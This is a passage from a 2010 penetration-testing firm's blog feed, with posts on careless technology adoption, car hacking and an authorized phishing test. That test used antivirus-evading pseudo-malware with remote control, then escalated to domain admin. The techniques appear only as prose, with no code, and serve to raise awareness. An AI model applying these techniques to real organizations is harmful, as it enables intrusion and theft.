margin-left: 0px;  vertical-align: baseline; background- padding: 0px;font-size:13px;color:transparent;"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;I recently participated in a panel at the BASC conference that was held at the Microsoft New England Research &amp;amp; Development (NERD) building at One Memorial Drive in Cambridge. One of the questions that surfaced inspired me to write this article.&lt;/span&gt;&lt;/p&gt;  &lt;p   style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px;  vertical-align: baseline; background- padding: 0px;font-size:13px;color:transparent;"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;While there are more security solutions available today than ever before, are we actually becoming more secure or is the gap growing? The short answer is yes.  The security industry is reactive in that it can only respond to threats but it cannot predict them.  This is because of threats are defined by malicious hackers and technology savvy criminals and not the security industry.  Antivirus technology for example, was created as a response to viruses that were being written by hackers. So yes, security is getting better, technologies are advancing, and the gap is still growing rapidly.  One major part of the problem is that people adopt new technologies too quickly.  They don’t stop to question those technologies from the perspective a hacker…&lt;/span&gt;&lt;/p&gt;  &lt;p size="13px" color="transparent" style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px;  vertical-align: baseline; background- text-align: center; padding: 0px;"&gt;&lt;img class="aligncenter" title="Inconvenience Store" src="http://www.cartoonstock.com/newscartoons/cartoonists/msi/lowres/msin62l.jpg" height="400" alt="" style="margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; font-size: 13px; vertical-align: baseline; background-color: transparent; display: block; padding: 0px;" width="383" /&gt;&lt;/p&gt;  &lt;p   style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px;  vertical-align: baseline; background- padding: 0px;font-size:13px;color:transparent;"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;A prime example of this problem is clearly demonstrated within the automotive industry. Computer systems that are in automobiles were not designed to withstand any sort of  real hacker threat.  This wasn’t much of a problem at first because automotive computer systems weren’t Internet connected and at first they didn’t have direct control over things like breaks and the accelerator.  That all changed as the automotive industry advanced and as people wanted the convenience that computer technology could bring to the table.  Now automotive computer systems directly control critical automotive functions and a hacker can interface with the computer system and cause potentially catastrophic failures.  Despite this the problem wasn’t perceived as particularly high risk because accessing the computer system &lt;/span&gt;&lt;a href="http://www.csmonitor.com/USA/2010/0813/Scientists-hack-into-cars-computers-control-brakes-engine" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;required physical access&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt; to the car (or close proximity for &lt;/span&gt;&lt;a href="http://blogs.edmunds.com/strategies/2010/08/researchers-show-how-to-hack-tire-pressure-monitoring-system.html" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;TPMS like hacks&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;). That is all going to change when the &lt;/span&gt;&lt;a href="http://www.chevrolet.com/volt/" title="Chevy Volt" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Chevy Volt&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt; hits the streets since the &lt;/span&gt;&lt;a href="http://www.chevrolet.com/volt/" title="Chevy Volt" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Chevy Volt&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt; actually has its own IP address and is network connected.  Is the risk really worth the convenience?&lt;/span&gt;&lt;/p&gt;  &lt;p   style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px;  vertical-align: baseline; background- padding: 0px;font-size:13px;color:transparent;"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Another good example of how we adopt technology too quickly is demonstrated in critical infrastructure (power, water, communications, etc).  Just like the automotive industry critical systems were not initially designed to be plugged into the Internet. These critical systems are the systems that control the water coolant levels in our nuclear power plants or the mixtures of chemicals in water treatment plants, etc.  Some of these critical systems were designed in the 1960’s so the concept of the “hacker threat” didn’t exist.  Other systems are very modern but even those aren’t designed to be secure as much as they are designed to be functional.  Back in the day power plants, water treatment plants, etc. were air-gaped to isolate them from potentially harmful environments.  But as the Internet offered more and more convenience the air-gaps that once existed are almost extinct.  Now our critical systems connected to the Internet and exposed to real hacker threats; and do they get hacked?  &lt;/span&gt;&lt;a href="http://online.wsj.com/article/SB123914805204099085.html" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Yes&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;.  Again, is the risk really worth the convenience?&lt;/span&gt;&lt;/p&gt;  &lt;p   style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px;  vertical-align: baseline; background- padding: 0px;font-size:13px;color:transparent;"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Of course an example that everyone can relate to is business networks.  Business networks are constantly evolving and new technologies are continually being adopted without proper vetting.  These technologies often include web applications, security technologies, backup technologies, content management systems, etc.  These technologies usually promise to make things easier and thus save time which equates to saving money.  For example, the other week we were delivering a &lt;/span&gt;&lt;a href="http://www.netragard.com/" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;penetration test&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt; for a pharmaceutical company.  This company had a video conference system setup so that they could speak with remote offices and have “face to face” conversations.  They loved the technology because it made for more productive meetings and we loved the technology because it was easy to hack.&lt;/span&gt;&lt;/p&gt;  &lt;p   style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px;  vertical-align: baseline; background- padding: 0px;font-size:13px;color:transparent;"&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Despite the fact that the security industry is evolving at a rapid pace, it can’t keep up with the volume of people that are prematurley adopting new and untested technologies. This adoption causes the gap between good security and security risks to grow. To help close the gap consumers need to start challenging their vendors.  They need to ask their vendors to demonstrate the security of their technology and maybe even to make some sort of a guarantee about it. There are some solid companies out there that offer services designed to enhance the security of technology products.  Once such company is &lt;/span&gt;&lt;a href="http://www.veracode.com/" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Veracode&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt; (no affiliation with &lt;/span&gt;&lt;a href="http://www.netragard.com/" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Netragard&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;).&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-6283002377145037377?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/6283002377145037377/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/12/untitled.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/6283002377145037377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/6283002377145037377'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/12/untitled.html' title='Untitled'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-7133633228700590788</id><published>2010-11-11T20:59:00.001-08:00</published><updated>2010-11-11T20:59:23.271-08:00</updated><title type='text'>Fox 25 News Interview</title><content type='html'>&lt;div class='posterous_autopost'&gt;&lt;p&gt;Our (Netragard's) founder and president (Adriel Desautels) was recently interviewed by the local news (Fox 25) about car hacking. &amp;nbsp;We thought that we'd write a quick entry and share this with you. Thank you to Fox 25 for doing such a good job with the interview. &amp;nbsp;Note for the AAA guy though, once cars have IP addresses (which is now) hackers won't need to "pull up next to you to hack [your car]" and turning the car off is the least of the problems. &amp;nbsp;Hackers will be able to do it from their location of choice and trust us when we say that "firewalls" don't pose much of a challenge at all. &amp;nbsp;Anyway, enjoy the video and please feel free to comment.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.myfoxboston.com%2Fdpp%2Fnews%2Fspecial_reports%2Fcould-your-car-be-a-hackers-target-20101111&amp;amp;h=fb114"&gt;http://www.myfoxboston.com/dpp/news/special_reports/could-your-car-be-a-hackers-target-20101111&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-7133633228700590788?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/7133633228700590788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/11/fox-25-news-interview.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7133633228700590788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7133633228700590788'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/11/fox-25-news-interview.html' title='Fox 25 News Interview'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-779707669420222022</id><published>2010-09-13T23:08:00.001-07:00</published><updated>2010-09-13T23:19:23.166-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='quality'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration test'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='advanced testing'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability assessment'/><title type='text'>The Human Vulnerability</title><content type='html'>&lt;div class="posterous_autopost"&gt;&lt;p&gt;  &lt;/p&gt;&lt;p style=""&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;!--StartFragment--&gt;  &lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style=" ;font-family:Georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;It seems to us that one of the biggest threats that businesses face today is socially augmented malware attacks. These attacks have an extremely high degree of success because they target and exploit the human element. Specifically, it doesn't matter how many protective technology layers you have in place if the people that you've hired are putting you at risk, and they are.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style=" ;font-family:Georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Case in point, the “here you have” worm that propagates predominantly via e-mail and promises the recipient access to PDF documents or even pornographic material. This specific worm compromised major organizations such as NASA, ABC/Disney, Comcast, Google Coca-Cola, etc. How much money do you think that those companies spend on security technology over a one-year period? How much good did it do at protecting them from the risks introduced by the human element? (Hint: none)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;   &lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p    style="font-weight: normal;   font-style: normal;  text-decoration: none;font-family:verdana, sans-serif;font-size:11px;color:#666666;"&gt;          &lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;img src="http://www.netragard.com/images/worms.jpg" height="248" align="middle" alt="" width="250" /&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p    style="font-weight: normal;   font-style: normal;  text-decoration: none;font-family:verdana, sans-serif;font-size:11px;color:#666666;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span"  style="font-family:Helvetica;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span class="Apple-style-span"  style="font-family:Helvetica;"&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:130%;"&gt;&lt;span class="Apple-style-span"  style="font-size:16px;"&gt;&lt;span class="Apple-style-span"  style="font-size:100%;"&gt;&lt;span class="Apple-style-span"  style="font-size:12px;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;   &lt;/span&gt;&lt;!--StartFragment--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span class="Apple-style-span"  style="font-size:130%;"&gt;&lt;span class="Apple-style-span"  style="font-size:100%;"&gt;&lt;p class="MsoNormal"&gt;&lt;span style=" ;font-family:Georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Here at &lt;a href="http://www.netragard.com"&gt;Netragard&lt;/a&gt; we have a unique perspective on the issue of malware attacks because we offer pseudo-malware testing services.  Our pseudo-malware module, when activated, authorizes us to test our clients with highly customized, safe, controlled, and homegrown pseudo-malware variants. To the best of our knowledge we are the only &lt;a href="http://www.netragard.com"&gt;penetration testing&lt;/a&gt; company to offer such a service (and no, we're not talking about the meterpreter).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"   style="  ;font-family:Georgia;font-size:medium;"&gt;Attack delivery usually involves attaching our pseudo-malware to emails or binding the pseudo-malware to PDF documents or other similar file types. In all cases we make it a point to pack (or crypt) our pseudo-malware so that it doesn't get detected by antivirus technology (see this blog entry on bypassing antivirus). Once the malware is activated, it establishes an encrypted connection back to our offices and provides us with full control over the victim computer.  Full control means access to the software and hardware including but not limited to keyboard, mouse, microphone and even the camera. (Sometimes we even deliver our attacks via websites like this one by embedding attacks into links).&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"   style="  ;font-family:Georgia;font-size:medium;"&gt;So how easy is it to penetrate a business using pseudo-malware? Well in truth its really easy.  Just last month we finished delivering an advanced external penetration test for one of our more secure customers.  We began crafting an email that contained our pseudo-malware attachment and accidentally hit the send button without any message content.  Within 45 seconds of clicking the send button and sending our otherwise blank email, we had 15 inbound connections from 15 newly infected client computer systems. That means that at least 15 employees tried to open our pseudo-malware attachment despite the fact that the email was blank!  Imagine the degree of success that is possible with a well-crafted email?&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"   style="  ;font-family:Georgia;font-size:medium;"&gt;One of the computer systems that we were able to compromise was running a service with domain admin privileges.  We were able to use that computer system (impersonation attack involved) to create an account for ourselves on the domain (which happened to be the root domain).  From there we were able to compromise the client's core infrastructure (switches, firewalls, etc) due to a password file that we found sitting on someone's desktop (thank you for that).  Once that was done, there really wasn't much more that we had left to do, it was game over. &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"   style="  ;font-family:Georgia;font-size:medium;"&gt;The fact of the matter is that there's nothing new about taking advantage of people that are willing to do stupid things.  But is it really stupidity or is it just that employees don't have a sense of accountability? Our experience tells us that in most cases its a lack of accountability that's the culprit.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"   style="  ;font-family:Georgia;font-size:medium;"&gt;When we compromise a customer using pseudo-malware, one of the recommendations that we make to them is that they enforce policies by holding employees accountable for violations. We think that the best way to do that is to require employees to read a well-crafted policy and then to take a quiz based on that policy. When they pass the quiz they should be required to sign a simple agreement that states that they have read the policy, understood the policy, and agree to be held accountable for any violations that they make against the policy. &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=" ;font-family:Georgia;"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; &lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=" ;font-family:Georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;In our experience there is no better security technology than a paranoid human that is afraid of being held accountable for doing anything irresponsible (aka: violating the policy). When people are held accountable for something like security they tend to change their overall attitude towards anything that might negatively affect it.  The result is a significantly reduced attack surface.  If all organizations took this strict approach to policy enforcement then worms like the "here you have" worm wouldn't be such a big success.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=" ;font-family:Georgia;"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; &lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=" ;font-family:Georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Compare the cost and benefit of enforcing a strict and carefully designed security policy to the cost and benefit of expensive (and largely ineffective) security technologies. Which do you think will do a better job at protecting your business from real threats? Its much more difficult to hack a network when that network is managed by people that are held accountable for its security than it is to hack a network that is protected technology alone.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=" ;font-family:Georgia;"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; &lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=" ;font-family:Georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;So in the end there's really nothing special about the "here you have" worm.  It’s just another example of how malicious hackers are exploiting the same human vulnerability using an ever so slightly different malware variant. Antivirus technology certainly won’t save you and neither will other expensive technology solutions, but a well-crafted, cost-effective security policy just might do the trick.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=" ;font-family:Georgia;"&gt;&lt;o:p&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; &lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=" ;font-family:Georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;It’s important to remember that well written security policies don’t only impact human behavior, but generally result in better management of systems, which translates to better technological security.  The benefits are significant and the overall cost isn’t in comparison. &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:16.0pt;mso-bidi-font-family:Georgia;font-size:12.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;   &lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;  &lt;p&gt;        &lt;/p&gt;  &lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-779707669420222022?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/779707669420222022/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/09/human-vulnerability.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/779707669420222022'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/779707669420222022'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/09/human-vulnerability.html' title='The Human Vulnerability'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-4380273069899784345</id><published>2010-08-31T12:46:00.001-07:00</published><updated>2010-08-31T12:46:22.669-07:00</updated><title type='text'>That nice, new computerized car you just bought could be hackable</title><content type='html'>&lt;div class='posterous_autopost'&gt;  &lt;div class="cnet-image-div image-REGULAR float-right" style="font-weight: inherit; font-style: inherit; font-size: 16px; font-family: inherit; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;  &lt;p style="font-weight: normal; font-size: 11px; color: #666666; font-style: normal; font-family: verdana, sans-serif; text-decoration: none;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;table border="0" align="left"&gt;    &lt;tr&gt;  &lt;td&gt;&amp;nbsp;&lt;/td&gt;  &lt;td&gt;&lt;br /&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;  &lt;td colspan="2"&gt;  &lt;p style="font-weight: normal; font-size: 11px; color: #666666; font-style: normal; font-family: verdana, sans-serif; text-decoration: none;"&gt;&lt;strong&gt;Link:&amp;nbsp;&lt;/strong&gt;&lt;a href="http://news.cnet.com/8301-27080_3-20015184-245.html" style="font-size: 11px; color: #ff6600; font-style: normal; font-family: verdana, sans-serif; text-decoration: none;"&gt;http://news.cnet.com/8301-27080_3-20015184-245.html&lt;/a&gt;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;Of course, your car is probably not a high-priority target for most malicious hackers. But security experts tell CNET that car hacking is starting to move from the realm of the theoretical to reality, thanks to new wireless technologies and evermore dependence on computers to make cars safer, more energy efficient, and modern.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;"Now there are computerized systems and they have control over critical components of cars like gas, brakes, etc.," said Adriel Desautels, chief technology officer and president of&amp;nbsp;&lt;a href="http://www.netragard.com/" style="font-size: 16px; color: #0066a0; font-style: inherit; font-family: inherit; text-decoration: none; font-weight: inherit; text-align: left; vertical-align: baseline; cursor: pointer; padding: 0px; margin: 0px;"&gt;Netragard&lt;/a&gt;, which does vulnerability assessments and penetration testing on all kinds of systems. "There is a premature reliance on technology."&lt;/p&gt;  &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;  &lt;td colspan="2"&gt;  &lt;p /&gt;  &lt;table border="0" width="400"&gt;    &lt;tr&gt;  &lt;td&gt;  &lt;p style="font-weight: normal; font-size: 11px; color: #666666; font-style: normal; font-family: verdana, sans-serif; text-decoration: none;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: normal; font-size: 11px; color: #666666; font-style: normal; font-family: verdana, sans-serif; text-decoration: none;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p class="image-caption" style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&lt;span style="font-size: small;"&gt;Illustration for a tire pressure monitoring system, with four antennas, from a report detailing how researchers were able to hack the wireless system.&lt;/span&gt;&lt;/p&gt;  &lt;span style="font-size: small;"&gt;&lt;span class="image-credit" style="font-weight: inherit; font-style: inherit; font-family: inherit; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;(Credit:&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="image-credit" style="font-weight: inherit; font-style: inherit; font-size: 16px; font-family: inherit; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&lt;a href="http://www.winlab.rutgers.edu/~Gruteser/papers/xu_tpms10.pdf" style="font-size: 11px; color: #ff6600; font-style: normal; font-family: verdana, sans-serif; text-decoration: none;"&gt;&lt;span style="font-size: small;"&gt;University of South Carolina, Rutgers University (PDF)&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span class="image-credit" style="border-color: initial; font-weight: inherit; font-style: inherit; font-family: inherit; text-align: left; vertical-align: baseline; border-width: 0px; padding: 0px; margin: 0px;"&gt;) &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;  &lt;p style="font-weight: normal; font-size: 11px; color: #666666; font-style: normal; font-family: verdana, sans-serif; text-decoration: none;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;/td&gt;  &lt;td&gt;&lt;img class="cnet-image" src="http://i.i.com.com/cnwk.1d/i/tim//2010/08/31/TirePressureMonitoring_2.png" height="233" alt="" style="font-weight: inherit; font-style: inherit; font-size: 16px; font-family: inherit; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;" width="287" /&gt;&lt;/td&gt;  &lt;/tr&gt;    &lt;/table&gt;  &lt;p style="font-weight: normal; font-size: 11px; color: #666666; font-style: normal; font-family: verdana, sans-serif; text-decoration: none;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;Often the innovations are designed to improve the safety of the cars. For instance, after a recall of Firestone tires that were failing in Fords in 2000, Congress passed the TREAD (Transportation Recall Enhancement, Accountability and Documentation) Act that required that tire pressure monitoring systems (TPMS) be installed in new cars to alert drivers if a tire is underinflated.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;Wireless tire pressure monitoring systems, which also were touted as a way to increase fuel economy, communicate via a radio frequency transmitter to a tire pressure control unit that sends commands to the central car computer over the Controller-Area Network (CAN). The CAN bus, which allows electronics to communicate with each other via the On-Board Diagnostics systems (OBD-II), is then able to trigger a warning message on the vehicle dashboard.&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: baseline; padding: 0px; margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;  &lt;p style="font-weight: inherit; font-size: 16px; color: #666666; font-style: inherit; font-family: inherit; text-decoration: none; text-align: left; vertical-align: 